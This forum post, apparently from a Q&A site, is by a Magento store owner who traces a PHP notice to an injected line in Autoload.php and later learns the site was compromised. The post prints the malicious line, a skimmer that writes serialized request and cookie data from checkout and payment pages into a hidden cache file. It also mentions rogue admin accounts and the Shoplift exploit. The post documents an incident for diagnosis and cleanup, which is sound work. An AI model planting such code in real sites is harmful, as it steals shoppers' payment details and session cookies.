Since this morning I'm getting the following PHP Notice after running the Magento cronjob:
Undefined index: REQUEST_URI in /htdocs/lib/Varien/Autoload.php on line 1
I did not modify any of the mage files.. How is this possible?
EDIT: For now I've edited the Autoload.php to first check if the REQUEST_URI is set.
Original:
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
New:
<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
EDIT 30-04-2015:
After reading @volkan and @b.enoit.be comments I've immediately replaced the specified page with the original one from Magento and the line was indeed not present!.
The following was the malicious line present in Autoload.php
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>
I've also checked:
- /js/index.php same as original
- /index.php same as original
- Magpleasure_Filesystem module was not present
However.. there were two new admin-users which had obscure names:
- backup - auto_bc@magent.com <-- this domain leads to a domain holding page and the email gives Russian results on Google
- database - db@local.host
Both users have been deleted. The website was also vulnerable tot the shoplift exploit (which is addressed in the latest security-patch)
We're currently busy installing the latest security patches.
It seems that this has been a recent problem:
100,000 web shops open to compromise as attackers exploit Magento bug Magento Shoplift Bug Tester v1.0
Thanks to all users for there help.